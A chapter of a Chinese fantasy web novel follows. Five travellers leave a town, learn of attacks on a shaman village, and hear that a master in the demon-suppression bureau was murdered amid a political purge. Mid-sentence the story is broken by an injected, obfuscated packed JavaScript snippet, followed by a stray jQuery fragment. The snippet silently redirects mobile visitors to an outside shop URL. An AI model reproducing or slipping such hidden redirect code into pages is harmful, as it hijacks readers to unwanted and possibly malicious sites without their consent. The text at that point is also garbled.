离开桃溪镇那天，桃花依旧灿烂，微风拂过，落英缤纷。
镇口的牌坊下，言家的管家和几个相熟的街坊来送了送，絮絮叨叨地叮嘱着路上小心、注意安全之类的话，言不休一一应了，又拜托管家替他照顾好父亲，这才转身跟上已经走出一段距离的队伍。
队伍变成五人，气氛因阿萦和紫翎会的事略显沉重。
走出两三里地后，桃溪镇的轮廓已经隐没在晨雾和桃林之后。
前方的道路渐渐开阔起来，两旁是连绵的田野和零星散布的村落，偶尔有几声鸡鸣犬吠远远传来，衬得这清晨格外宁静。
穆褚行没有像以往那样独自走在最前面领路，而是始终保持在凌笑身旁，跟她并肩。
凌笑侧过头看了他一眼，见他正目视前方，表情淡然，便开口问道：“你怎么不走最前面了？”
穆褚行偏过头看了她一眼，嘴角微微弯了一下，语气随意却又带着一丝认真的意味：“怕你追不上我。”
凌笑脚步微微一顿。
她垂下目光，沉默了两秒，然后抬起头，语气认真的说道：“我会追上你的。”
穆褚行忽然停下了脚步。
凌笑往前走了两步，才发现身边的人没了，回头看他：“怎么不走了？”
晨光从东边斜斜地照过来，落在他的身上。
他站在那束光里，温柔地看着她，嘴角带着笑。
“你不需要追，我会一直在你身边。”
凌笑顿住了。
一瞬间，她的世界里，只剩下他站在晨光中的身影。
她看着他，他看着她，谁也没有说话。
周围的一切仿佛都远去了。
不远处的三人看着他们两个，表情各异。
苏十一的嘴角抽了抽，用手肘捅了捅旁边的裴让：“穆大哥跟凌笑姐干什么呢？怎么不走了？”
裴让面无表情地看了一眼，摇了摇头：“不知道。”
言不休走在最后面，本来还沉浸在离愁和思念中，转头看到他们后，愣了一下，然后默默地低下了头。
“要不要叫他们一声？”苏十一小声问。
“不用。”裴让淡淡道，“会动的。”
果然，过了一会儿，凌笑率先移开了目光，脸上染上了一层红晕。
她转过身，继续往前走。
穆褚行看着她的背影，嘴角的弧度加深了几分，然后迈步跟了上去，依旧与她并肩而行。
苏十一看着这一幕，啧啧了两声，压低声音对裴让说：“你有没有觉得，穆大哥和凌笑姐之间有点不对劲？”
裴让目不斜视：“没有。”
“真的假的？你没看出来？”
“看出来了。”裴让顿了一下，“但不说。”
苏十一：“你这个人真是……”
言不休走在最后，听着前面的对话，忍不住苦笑了一下。
他低头碰了碰胸前的锦囊，轻声道：“阿萦，你看他们俩，是不是很有意思？”
……
队伍继续前行。
走出桃溪镇的范围后，道路变得更加宽阔，来往的行人和车马也逐渐多了起来，五人一路向西南行进，沿途经过了几个小镇和村庄，走走停停，补充了些干粮和饮水。
中午时分，一行人在路边一座茶棚歇脚。
茶棚不大，只有三四张桌子，老板是一对老夫妻，见有客人来，热情地招呼他们坐下，端上了热茶和一碟花生米。
苏十一坐下来就开始摆弄她那只小竹筒，把它贴在耳边听了一会儿，又放下来，皱了皱眉，又拿起来听了一遍。
“怎么了？”凌笑坐在她旁边，注意到了她的不安。
“没什么……”苏十一放下竹筒，摇了摇头，“可能是我太敏感了，这几天我一直试着联系寨子里，但那边一直没有回应，以前就算再忙，隔个两三天也会有一次消息往来，这回都快五天了，一点动静都没有。”
“会不会是路途太远，信号传不过来？”言不休问道。
“有可能，但以前没出现过这种情况。”苏十一眉头紧锁，“巫族的传讯术法虽然比不上镇妖司的紧急信道那么快，但也不至于五天都传不到，除非……那边出了什么事，没人能操作传讯的法器了。”
她说完这句话，自己先沉默了一下，然后摇了摇头，“算了，可能真的是我想多了，吃饭吃饭。”
凌笑看了她一眼，给她夹了一块饼：“先吃饱，有事下午再说。”
苏十一接过饼，冲她笑了笑，“好。”
裴让坐在桌子的另一端，默默地喝着茶，不知道在想些什么。
……
午后继续赶路，傍晚时分抵达了一座名为“平阳渡”的小镇。
镇子因为地处官道交汇处，来往的行商和旅客不少，倒也热闹。
五人在镇口找到一家还算干净的客栈，要了三间房，安顿好行李之后，几人下楼吃了晚饭。
饭桌上，苏十一又拿出了那只竹筒，贴在耳边听了一会儿，然后脸色忽然变了。
“有消息了？”凌笑立刻放下筷子。
苏十一的手指紧紧攥着那只竹筒，她听了一会儿，又听了一会儿，然后缓缓放下竹筒，抬起头来。
她的眼眶泛红。
“寨子出事了。”她的声音在发抖，努力让自己保持镇定，“是三天前发出的求救讯息，辗转了好几道才传到我这边的，边境数个巫族村落遭到了不明妖族的袭击，伤亡惨重。”
“传讯的人说，那些妖物的攻击方式很奇怪，悍不畏死，不知疼痛，被打倒了还会爬起来继续进攻，而且在袭击现场，发现了人类军队活动的痕迹。”
“人类军队？”穆褚行的眉头皱了起来，“什么样的军队？穿的什么甲胄？有没有旗号？”
“传讯的人没有说清楚。”苏十一摇了摇头，声音带着一丝哽咽，“他说寨子已经被包围了，他是拼了命才把消息送出来的，之后……之后就再也没有音讯了。”
她低下头，“我联系不上他了，我试了好几次，那边完全没有回应了。”
凌笑伸手握住了苏十一的手腕，“别慌，我们都在。”
苏十一抬起头，看了她一眼，咬了咬嘴唇，点了点头。
就在这时，客栈门外传来一阵急促的马蹄声，由远及近，在门口戛然而止，紧接着是一阵脚步声，有人快步走进了客栈大堂。
众人循声望去，只见一个身穿劲装的汉子站在柜台前，气喘吁吁，他的目光在大堂中扫了一圈，最终落在了裴让身上，快步走了过来。
“敢问阁下可是裴让裴大人？”那汉子抱拳问道。
裴让放下茶杯，目光微凝：“是我。”
那汉子从怀中取出一封密封的信件，双手奉上：“在下是镇妖司驻潞州驿站的驿丞，受人之托，将此信加急送至大人手中，送信之人嘱咐，务必亲手交到大人手上，不得耽搁。”
裴让接过信件，看了一眼信封上的三道朱砂印，瞳孔微微收缩了一下。
他对那驿丞点了点头：“辛苦了，喝杯茶歇歇脚再走。”
“多谢大人，在下还要赶回去复命，不便久留。”那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806384|205421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
汉子抱了抱拳，转身大步离去，马蹄声很快消失在夜色中。
裴让低头看着手中的信，沉默了片刻，然后缓缓拆开了封口。
他抽出信纸，快速扫了一遍。
他的脸色，在看到信上内容的那一刻，变得无比阴沉。
“裴大哥？”言不休试探性地叫了一声。
裴让没有回应。
他放下信纸，沉默了片刻，然后站起身：“我出去一下。”
说完，他转身快步走出了客栈大门。
剩下四人面面相觑。
“裴大哥怎么了？”言不休小声问道。
穆褚行放下筷子，然后起身：“我去看看。”
他走出客栈大门，看到裴让站在门外的石阶上，背对着他，手里还攥着那封信。
穆褚行走到他身边，没有问怎么了，他站在不远处，等着裴让自己开口。
“我师父死了。”
穆褚行一愣。
“镇妖司内部传出的消息是突发急病身亡。”裴让的声音带着一种压抑不住的颤抖，“但送信的人是我师父的心腹，他在信中告诉我，师父是在一次内部会议之后，被人发现在书房中气绝身亡的，没有外伤，没有中毒迹象。”
“而且不止是我师父。”他转过身，将手中的信递给穆褚行，“朝廷中几位明确主张与妖族续约，缓和关系的大臣，在这一个月内接连遭到了严厉弹劾，有的被贬谪到偏远州县，有的被以通敌的罪名下狱，还有一位……在押送途中遭遇匪患，生死不明。”
穆褚行接过信，快速扫了一遍，眉头越皱越紧。
“主和派在被清洗。”他放下信，声音沉了下来，“有人想撕毁百年之约。”
“不止。”裴让抬起头，月光照在他的脸上，他的眼神中带着一种冰冷的寒意，“镇妖司内部也有问题，我师父的死，绝不是意外，他知道得太多了，所以有人要他闭嘴。”
两人在月光下沉默了片刻。
穆褚行拍了拍裴让的肩膀：“先进去，大家还在等着我们。”
裴让深吸一口气，点了点头，将信收好，转身走回客栈。
大堂里，凌笑、苏十一和言不休都等在那里，看到两人进来，所有人的目光都集中在了裴让身上。
裴让没有废话，直接将信的内容复述了一遍。
他说完之后，大堂中陷入了一阵沉默。
“所以……”言不休打破了沉默，声音有些发涩，“现在我们手上有了两条线索，西南巫族村落遇袭，疑似有人类军队参与，京城主和派被清洗，镇妖司内部出了问题，这两件事……会不会是同一个势力在推动？”
“很有可能。”凌笑开口说道：，“桃溪镇的壁画告诉我们，紫翎会从百年前就开始布局了，他们有足够的耐心和时间，在镇妖司和朝中安插人手，如果百年之约到期之前，主和派被清理干净，镇妖司又被他们掌控，那么到时候……”
“那么到时候，就没有人会阻止这场战争了。”穆褚行接过了她的话。
苏十一抬起头，眼圈通红：“我要回西南。”
“你一个人回去太危险了。”凌笑道。
“我知道，但我不能放着寨子不管。”苏十一的声音有些颤抖，“我必须回去。”
裴让沉默了片刻，然后开口：“我也要回京城，我师父的死，不能就这么算了，我要查清楚是谁动的手。”
他说完，看向穆褚行：“你们呢？”
穆褚行眉头微皱，若有所思。
“看来，有人不想让这百年之约安安稳稳到期。”